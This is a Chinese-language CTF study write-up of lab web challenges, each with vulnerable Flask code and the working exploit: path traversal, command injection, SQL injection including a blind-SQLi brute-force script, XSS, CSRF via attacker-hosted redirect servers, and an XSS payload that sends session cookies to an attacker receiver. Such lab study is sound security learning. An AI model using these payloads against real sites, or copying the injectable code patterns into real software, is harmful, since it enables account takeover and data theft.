常见web漏洞

2024-08-02

3. 常见web漏洞

3.1 路径遍历漏洞

路径遍历漏洞指的是允许攻击者在未经授权的情况下读取服务器上任意文件的安全漏洞
例子:

# 路径遍历漏洞的参数通常是../../../flag 
curl http://challenge.localhost:80/?path=../flag

3.2 命令注入

命令注入指的是攻击者可以控制变量作为命令被执行而导致的安全漏洞
比如有如下代码:

def level2():
    timezone = request.args.get("timezone", "UTC")
    return subprocess.check_output(f"TZ={timezone} date", shell=True, encoding="latin") # 存在命令注入,timezone为用户可控,可以通过插入UTC cat /flag; 来使整个字符串变为
    # TZ=UTC cat /flag; date

可以通过如下命令获得flag

 curl http://challenge.localhost:80/?timezone=UTC%20cat%20/flag%3b

3.3 身份验证绕过

有的人在写代码对身份的校验出现了问题,导致身份验证可以被绕过,攻击者不需要输入密码即可获得用户权限

def level3():
    db.execute(("CREATE TABLE IF NOT EXISTS users AS "
                'SELECT "flag" AS username, ? as password'),
               (flag,))
    
    if request.method == "POST":
        username = request.form.get("username")
        password = request.form.get("password")
        assert username, "Missing `username` form"
        assert password, "Missing `password` form"

        user = db.execute(f"SELECT rowid, * FROM users WHERE username = ? AND password = ?", (username, password)).fetchone()
        assert user, "Invalid `username` or `password`"

        return redirect(request.path, user=int(user["rowid"]))
    # 逻辑出现错误,即使不发送post请求验证身份,也可以执行登陆后的执行逻辑。
    if "user" in request.args:
        user_id = int(request.args["user"])
        user = db.execute("SELECT * FROM users WHERE rowid = ?", (user_id,)).fetchone()
        if user:
            username = user["username"]
            if username == "flag":
                return f"{flag}\n"
            return f"Hello, {username}!\n"

    return form(["username", "password"])

只需要发送请求curl http://challenge.localhost:80/?user=1即可绕过

3.4 SQL注入

sql注入发生在攻击者的输入可以影响到sql语句的查询的场景下,

def level4():
    db.execute(("CREATE TABLE IF NOT EXISTS users AS "
                'SELECT "flag" AS username, ? as password'),
               (flag,))

    if request.method == "POST":
        username = request.form.get("username")
        password = request.form.get("password")
        assert username, "Missing `username` form"
        assert password, "Missing `password` form"

        user = db.execute(f'SELECT rowid, * FROM users WHERE username = "{username}" AND password = "{password}"').fetchone() # 存在sql注入
        assert user, "Invalid `username` or `password`"

        session["user"] = int(user["rowid"])
        return redirect(request.path)

    if session.get("user"):
        user_id = int(session.get("user", -1))
        user = db.execute("SELECT * FROM users WHERE rowid = ?", (user_id,)).fetchone()
        if user:
            username = user["username"]
            if username == "flag":
                return f"{flag}\n"
            return f"Hello, {username}!\n"

    return form(["username", "password"])

利用方法:
curl -X POST -d "username=flag%22%20or%20%221%22=%221&password=wsxk" -i -c cookies.txt http://challenge.localhost:80
发送上述请求后的sql实际展开为SELECT rowid, * FROM users WHERE username = "flag" or "1"="1" AND password = "wsxk"
随后发送curl -b cookies.txt http://challenge.localhost:80即可获取flag
SQL注入的攻击模式不止上述一种

# 在不打印我们想要的列时,可以通过UNION查询打印我们需要的列的值
def level5():
    db.execute(("CREATE TABLE IF NOT EXISTS users AS "
                'SELECT "flag" AS username, ? AS password'),
               (flag,))

    query = request.args.get("query", "%")
    users = db.execute(f'SELECT username FROM users WHERE username LIKE "{query}"').fetchall()
    return "".join(f'{user["username"]}\n' for user in users)
# curl http://challenge.localhost:80/?query=%25%22%20union%20select%20password%20from%20users%20where%20%221%22=%221
# 实际上的式子等于 SELECT username FROM users WHERE username LIKE "%" union select password from users where "1"="1"

还有

# 在表名未知,且不打印所需列的值时,可以通过两步:利用union从sqlite_master中取出tbl_name得知表名,再利用union获取所需列
def level6():
    table_name = f"table{hash(flag) & 0xFFFFFFFFFFFFFFFF}"
    db.execute((f"CREATE TABLE IF NOT EXISTS {table_name} AS "
                'SELECT "flag" AS username, ? AS password'),
               (flag,))

    query = request.args.get("query", "%")
    users = db.execute(f'SELECT username FROM {table_name} WHERE username LIKE "{query}"').fetchall()
    return "".join(f'{user["username"]}\n' for user in users)

# curl http://challenge.localhost:80/?query=%25%22%20union%20select%20tbl_name%20from%20sqlite_master%20where%20%221%22=%221

# curl http://challenge.localhost:80/?query=%25%22%20union%20select%20password%20from%20table18222469061300079216%20where%20%221%22=%221

最后一种sql注入就是盲注了
盲注分为两种布尔盲注和时间盲注
布尔盲注是在能够得知系统的响应(是否存在特定的文本)来推测数据内容
时间盲注发生在无法得知系统响应时(没有回显),可以通过username=flag&password=admin' OR IF(substr(password,1,1)='a', SLEEP(5), 0) --来得知结果

def level7():
    db.execute(("CREATE TABLE IF NOT EXISTS users AS "
                'SELECT "flag" AS username, ? as password'),
               (flag,))

    if request.method == "POST":
        username = request.form.get("username")
        password = request.form.get("password")
        assert username, "Missing `username` form"
        assert password, "Missing `password` form"

        user = db.execute(f'SELECT rowid, * FROM users WHERE username = "{username}" AND password = "{password}"').fetchone() #利用盲注输出爆破flag
        assert user, "Invalid `username` or `password`"

        session["user"] = int(user["rowid"])
        return redirect(request.path)

    if session.get("user"):
        user_id = int(session.get("user", -1))
        user = db.execute("SELECT * FROM users WHERE rowid = ?", (user_id,)).fetchone()
        if user:
            username = user["username"]
            return f"Hello, {username}!\n"

    return form(["username", "password"])

上述题目,由于我们可以拿到回显,所以使用布尔盲注即可解题

import requests

url = 'http://challenge.localhost:80'

charset=""
for i in range(0,256):
    charset += chr(i)

def find_password():
    print("start")
    password = ''
    for position in range(1, 60):  # 假设密码最大长度为60
        for char in charset:
            # 发送POST请求尝试猜测每个字符
            payload = {
                'username': 'flag',
                'password': f'admin" OR substr(password,{position},1)="{char}" -- '
            }
            response = requests.post(url, data=payload)

            if "Hello, flag!" in response.text:
                print(f"Found character {char} at position {position}")
                password += char
                break
    return password

print("Password is:", find_password())

3.5 跨站脚本

跨站脚本,又称(cross site scripting,XSS)
这种情境在 开发者的疏忽导致用户输入可以被作为代码被执行时产生
XSS是一种注入攻击,攻击者在网页中插入恶意脚本代码,当其他用户访问该网页时,这些恶意脚本会在用户的浏览器中执行,从而窃取用户信息或执行其他恶意操作。

def level8():
    if request.path == "/echo": # 处理echo路径,没有问题
        echo = request.args.get("echo")
        assert echo, "Missing `echo` argument"
        return html(echo)# 存在xss注入(cross site script)

    if request.path == "/visit": # 处理visit路径
        url = request.args.get("url")
        assert url, "Missing `url` argument"

        url_arg_parsed = urllib.parse.urlparse(url) # parse url参数
        assert url_arg_parsed.hostname == challenge_host, f"Invalid `url`, hostname should be `{challenge_host}`"

        with run_browser() as browser:
            browser.get(url)
            try:
                WebDriverWait(browser, 1).until(EC.alert_is_present())
            #在 browser 实例表示的浏览器中等待最多1秒钟。
            #在这1秒钟内不断检查是否有 alert 弹窗出现。
            #如果在1秒内检测到 alert 弹窗,则条件成立,until 方法返回,程序继续执行。
            #如果1秒后仍然没有检测到 alert 弹窗,则抛出 TimeoutException,表示等待超时
            except TimeoutException:
                return "Failed to alert\n"
            else:
                return f"{flag}\n"

    return "Not Found\n", 404

触发方法:

curl http://challenge.localhost:80/echo?echo=%3cscript%3ealert%28%27XSS%27%29%3c/script%3e

curl http://challenge.localhost:80/visit?url=http://challenge.localhost:80/echo?echo=%3cscript%3ealert%28%27XSS%27%29%3c/script%3e

进阶

def level9():
    if request.path == "/echo":
        echo = request.args.get("echo")
        assert echo, "Missing `echo` argument"
        return html(f"<textarea>{echo}</textarea>")#存在xss注入,通过闭合textarea标签导致alert出现! 可以通过在自己pc写html代码来进行调试

    if request.path == "/visit":
        url = request.args.get("url")
        assert url, "Missing `url` argument"

        url_arg_parsed = urllib.parse.urlparse(url)
        assert url_arg_parsed.hostname == challenge_host, f"Invalid `url`, hostname should be `{challenge_host}`"

        with run_browser() as browser:
            browser.get(url)
            try:
                WebDriverWait(browser, 1).until(EC.alert_is_present())
            except TimeoutException:
                return "Failed to alert\n"
            else:
                return f"{flag}\n"

    return "Not Found\n", 404

解决办法如下:

curl http://challenge.localhost:80/echo?echo=%3c/textarea%3e%3cscript%3ealert%28%27XSS%27%29%3c/script%3e%3ctextarea%3e


curl http://challenge.localhost:80/visit?url=http://challenge.localhost:80/echo?echo=http://challenge.localhost:80/echo?echo=%3c/textarea%3e%3cscript%3ealert%28%27XSS%27%29%3c/script%3e%3ctextarea%3e

3.6 跨站请求伪造

跨站请求伪造(cross site request forgery)
这种情形发生在用户的输入可以被作为web请求,被服务器发送往其他服务器
在csrf中,攻击者诱导已认证用户在不知情的情况下向受信任网站发送恶意请求,从而执行用户未授权的操作(例如,转账、修改设置)。

def level10():
    db.execute(("CREATE TABLE IF NOT EXISTS users AS "
                'SELECT "flag" AS username, ? as password, ? as leak'),
               (flag, False))

    if request.path == "/login": # 登录,读取用户名和密码,正确则加入session当中
        if request.method == "POST":
            username = request.form.get("username")
            password = request.form.get("password")
            assert username, "Missing `username` form"
            assert password, "Missing `password` form"

            user = db.execute(f"SELECT rowid, * FROM users WHERE username = ? AND password = ?", (username, password)).fetchone()
            assert user, "Invalid `username` or `password`"

            session["user"] = int(user["rowid"])
            return redirect(request.path)

        return form(["username", "password"])

    if request.path == "/leak": #在session存在user的情况下,可以设置标志为true
        user_id = int(session.get("user", -1))
        user = db.execute("SELECT * FROM users WHERE rowid = ?", (user_id,)).fetchone()
        assert user, "Not logged in"
        db.execute(f"UPDATE users SET leak = TRUE WHERE rowid = ?", (user_id,))
        return "Leaked\n"

    if request.path == "/info": # 可以根据user信息打印出响应的值
        assert "user" in request.args, "Missing `user` argument"
        user_id = int(request.args["user"])
        user = db.execute("SELECT * FROM users WHERE rowid = ?", (user_id,)).fetchone()
        assert user, "Invalid `user`"
        info = [user["username"]]
        if user["leak"]:
            info.append(user["password"])
        return " ".join(info) + "\n"

    if request.path == "/visit": # 以用户名密码先访问login页面登录,随后访问用户输入的url
        url = request.args.get("url")
        assert url, "Missing `url` argument"

        url_arg_parsed = urllib.parse.urlparse(url)
        assert url_arg_parsed.hostname == challenge_host, f"Invalid `url`, hostname should be `{challenge_host}`"

        with run_browser() as browser:
            browser.get(f"http://{challenge_host}/login")

            user_form = {
                "username": "flag",
                "password": flag,
            }
            for name, value in user_form.items():
                field = browser.find_element(By.NAME, name)
                field.send_keys(value)

            submit_field = browser.find_element(By.ID, "submit")
            submit_field.submit()
            WebDriverWait(browser, 10).until(EC.staleness_of(submit_field))# 元素变为“陈旧”状态,“陈旧”状态指的是该元素在DOM中已经不再存在,或者页面已经刷新,导致元素的引用不再有效

            browser.get(url)
            time.sleep(1)

        return "Visited\n"

    if request.path == "/echo": # xss注入
        echo = request.args.get("echo")
        assert echo, "Missing `echo` argument"
        return html(echo)

    return "Not Found\n", 404

在上述题目的分析过程中,/visit路径允许攻击者以flag用户,输入url让服务器进行访问。所以可以通过csrf的手段获取flag

curl http://challenge.localhost:80/visit?url=http://challenge.localhost:80/leak?user=1

curl http://challenge.localhost:80/info?user=1

上述题目就是开胃小菜,改整点难题辣

def level11():
    db.execute(("CREATE TABLE IF NOT EXISTS users AS "
                'SELECT "flag" AS username, ? as password, ? as leak'),
               (flag, False))

    if request.path == "/login": #登录,不可能,不知道密码
        if request.method == "POST":
            username = request.form.get("username")
            password = request.form.get("password")
            assert username, "Missing `username` form"
            assert password, "Missing `password` form"

            user = db.execute(f"SELECT rowid, * FROM users WHERE username = ? AND password = ?", (username, password)).fetchone()
            assert user, "Invalid `username` or `password`"

            session["user"] = int(user["rowid"])
            return redirect(request.path)

        return form(["username", "password"])

    if request.path == "/leak": # 以flag用户登陆后访问该路径,可以设置leak为true
        user_id = int(session.get("user", -1))
        user = db.execute("SELECT * FROM users WHERE rowid = ?", (user_id,)).fetchone()
        assert user, "Not logged in"
        db.execute(f"UPDATE users SET leak = TRUE WHERE rowid = ?", (user_id,))
        return "Leaked\n"

    if request.path == "/info": #userid正确情况下,且leak被设置,会输出账号密码
        assert "user" in request.args, "Missing `user` argument"
        user_id = int(request.args["user"])
        user = db.execute("SELECT * FROM users WHERE rowid = ?", (user_id,)).fetchone()
        assert user, "Invalid `user`"
        info = [user["username"]]
        if user["leak"]:
            info.append(user["password"])
        return " ".join(info) + "\n"

    if request.path == "/visit": # 以flag用户登录后访问网址,但是访问的网址为hacker_host,有点奇怪
        url = request.args.get("url")
        assert url, "Missing `url` argument"

        url_arg_parsed = urllib.parse.urlparse(url)
        assert url_arg_parsed.hostname == hacker_host, f"Invalid `url`, hostname should be `{hacker_host}`"

        with run_browser() as browser:
            browser.get(f"http://{challenge_host}/login")

            user_form = {
                "username": "flag",
                "password": flag,
            }
            for name, value in user_form.items():
                field = browser.find_element(By.NAME, name)
                field.send_keys(value)

            submit_field = browser.find_element(By.ID, "submit")
            submit_field.submit()
            WebDriverWait(browser, 10).until(EC.staleness_of(submit_field))

            browser.get(url)
            time.sleep(1)

        return "Visited\n"

    return "Not Found\n", 404

在这道题目中,hacker.localhost是我们自己设置的服务器

from flask import Flask, redirect

app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def redirect_to_leak():
    return redirect('http://challenge.localhost:80/leak')

if __name__ == '__main__':
    app.run(host='hacker.localhost', port=5000)

运行上述python文件后,执行如下shell:

curl http://challenge.localhost:80/visit?url=http://hacker.localhost:5000/

curl http://challenge.localhost:80/info?user=1

即可解决问题!
上述题目还有变体:如果leak只允许用post请求来发送应该怎么办?flask不支持post重定向,可以用javascript脚本来提交一个post请求

from flask import Flask, redirect,render_template_string
app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def redirect_to_leak():
    print("direct")
    url = "http://challenge.localhost:80/leak"
    data = {
        "key1": "value1",
        "key2": "value2"
    }

    form = '''
    <html>
    <body>
        <form id="redirectForm" method="POST" action="{url}">
            {inputs}
        </form>
        <script type="text/javascript">
            document.getElementById('redirectForm').submit();
        </script>
    </body>
    </html>
    '''

    inputs = ''.join([f'<input type="hidden" name="{k}" value="{v}">' for k, v in data.items()])
    html_content = form.format(url=url, inputs=inputs)
    print(html_content)
    return render_template_string(html_content)

if __name__ == '__main__':
    app.run(host='hacker.localhost', port=5000)

3.7 xss+csrf综合利用

def level13():
    app.config['SESSION_COOKIE_HTTPONLY'] = False #当一个cookie被设置为HttpOnly时,它意味着这个cookie只能通过HTTP请求发送,不能通过JavaScript的document.cookie访问,这里设置了false,所以可以通过document.cookie访问

    db.execute(("CREATE TABLE IF NOT EXISTS users AS "
                'SELECT "flag" AS username, ? as password'),
               (flag,))

    if request.path == "/login":
        if request.method == "POST":
            username = request.form.get("username")
            password = request.form.get("password")
            assert username, "Missing `username` form"
            assert password, "Missing `password` form"

            user = db.execute(f"SELECT rowid, * FROM users WHERE username = ? AND password = ?", (username, password)).fetchone()
            assert user, "Invalid `username` or `password`"

            session["user"] = int(user["rowid"])
            return redirect(request.path)

        return form(["username", "password"])

    if request.path == "/info":
        session_user_id = int(session.get("user", -1))
        session_user = db.execute("SELECT * FROM users WHERE rowid = ?", (session_user_id,)).fetchone()

        request_user_id = int(request.args.get("user", session_user_id))
        request_user = db.execute("SELECT * FROM users WHERE rowid = ?", (request_user_id,)).fetchone()
        assert request_user, "Invalid `user`"

        info = [request_user["username"]]
        if request_user_id == session_user_id:
            info.append(request_user["password"])
        return " ".join(info) + "\n"

    if request.path == "/visit":
        url = request.args.get("url")
        assert url, "Missing `url` argument"

        url_arg_parsed = urllib.parse.urlparse(url)
        assert url_arg_parsed.hostname == challenge_host, f"Invalid `url`, hostname should be `{challenge_host}`"

        with run_browser() as browser:
            browser.get(f"http://{challenge_host}/login")

            user_form = {
                "username": "flag",
                "password": flag,
            }
            for name, value in user_form.items():
                field = browser.find_element(By.NAME, name)
                field.send_keys(value)

            submit_field = browser.find_element(By.ID, "submit")
            submit_field.submit()
            WebDriverWait(browser, 10).until(EC.staleness_of(submit_field))

            browser.get(url)
            time.sleep(1)

        return "Visited\n"

    if request.path == "/echo":
        echo = request.args.get("echo")
        assert echo, "Missing `echo` argument"
        return html(echo)

    return "Not Found\n", 404

解决办法:
首先,开启一个服务器,接受cookie:

from flask import Flask, request

app = Flask(__name__)

@app.route('/receive_cookie')
def receive_cookie():
    cookie = request.args.get('cookie')
    print(f"Received cookie: {cookie}")
    return "Cookie received", 200

if __name__ == '__main__':
    app.run(port=5001)

其次,通过curl发送请求

## curl http://challenge.localhost/visit?url=http://challenge.localhost:80/echo?echo=<script>document.write('<img src="http://127.0.0.1:5001/receive_cookie?cookie='+document.cookie+'">');</script> 
## 需要注意的是 + 需要双重url编码
curl http://challenge.localhost/visit?url=http://challenge.localhost:80/echo?echo=%3Cscript%3Edocument.write%28%27%3Cimg%20src=%22http://127.0.0.1:5001/receive_cookie?cookie=%27%252bdocument.cookie%252b%27%22%3E%27%29%3C/script%3E

## 收到cookie之后,使用如下命令即可获取flag
curl -b "session=xxxx" http://challenge.localhost/info?user=1

xss+csrf还有其他用途,比如泄露用户数据,还是和13一样的代码

def level14():
    db.execute(("CREATE TABLE IF NOT EXISTS users AS "
                'SELECT "flag" AS username, ? as password'),
               (flag,))

    if request.path == "/login": # 登录
        if request.method == "POST":
            username = request.form.get("username")
            password = request.form.get("password")
            assert username, "Missing `username` form"
            assert password, "Missing `password` form"

            user = db.execute(f"SELECT rowid, * FROM users WHERE username = ? AND password = ?", (username, password)).fetchone()
            assert user, "Invalid `username` or `password`"

            session["user"] = int(user["rowid"])
            return redirect(request.path)

        return form(["username", "password"])

    if request.path == "/info": #当session_user_id=request_user_id时,打印flag
        session_user_id = int(session.get("user", -1))
        session_user = db.execute("SELECT * FROM users WHERE rowid = ?", (session_user_id,)).fetchone()

        request_user_id = int(request.args.get("user", session_user_id))
        request_user = db.execute("SELECT * FROM users WHERE rowid = ?", (request_user_id,)).fetchone()
        assert request_user, "Invalid `user`"

        info = [request_user["username"]]
        if request_user_id == session_user_id:
            info.append(request_user["password"])
        return " ".join(info) + "\n"

    if request.path == "/visit": # 以flag用户登录并访问某个请求
        url = request.args.get("url")
        assert url, "Missing `url` argument"

        url_arg_parsed = urllib.parse.urlparse(url)
        assert url_arg_parsed.hostname == challenge_host, f"Invalid `url`, hostname should be `{challenge_host}`"

        with run_browser() as browser:
            browser.get(f"http://{challenge_host}/login")

            user_form = {
                "username": "flag",
                "password": flag,
            }
            for name, value in user_form.items():
                field = browser.find_element(By.NAME, name)
                field.send_keys(value)

            submit_field = browser.find_element(By.ID, "submit")
            submit_field.submit()
            WebDriverWait(browser, 10).until(EC.staleness_of(submit_field))

            browser.get(url)
            time.sleep(1)

        return "Visited\n"

    if request.path == "/echo":
        echo = request.args.get("echo")
        assert echo, "Missing `echo` argument"
        return html(echo)

    return "Not Found\n", 404

解决办法:

## 原版解析
curl http://challenge.localhost/visit?url=http://challenge.localhost:80/echo?echo=<script>fetch('/info?user=1').then(response => response.json()).then(info => fetch(`http://127.0.0.1:5001/receive_cookie?cookie=${encodeURIComponent(JSON.stringify(info))}`));</script>

可以通过fetch api和xmlhttpreuqest请求访问info,并把flag打印出来,调试要调太久了,我就pass了~
## 下面可以把cookie传到服务器上,放弃抵抗,太坑了,调不出来啊!!!
curl http://challenge.localhost/visit?url=http://challenge.localhost:80/echo?echo=%3cscript%3efetch%28%27http://127.0.0.1:5001/receive_cookie?cookie=123%27%29%3c/script%3e

curl http://challenge.localhost/visit?url=http://challenge.localhost:80/echo?echo=%3cscript%3efetch%28%27info?user=1%27%29.then%28response%3d%3eresponse.json%28%29%29.then%28fetch%28%60http://127.0.0.1:5001/receive_cookie?cookie=12345%60%29%29%3c/script%3e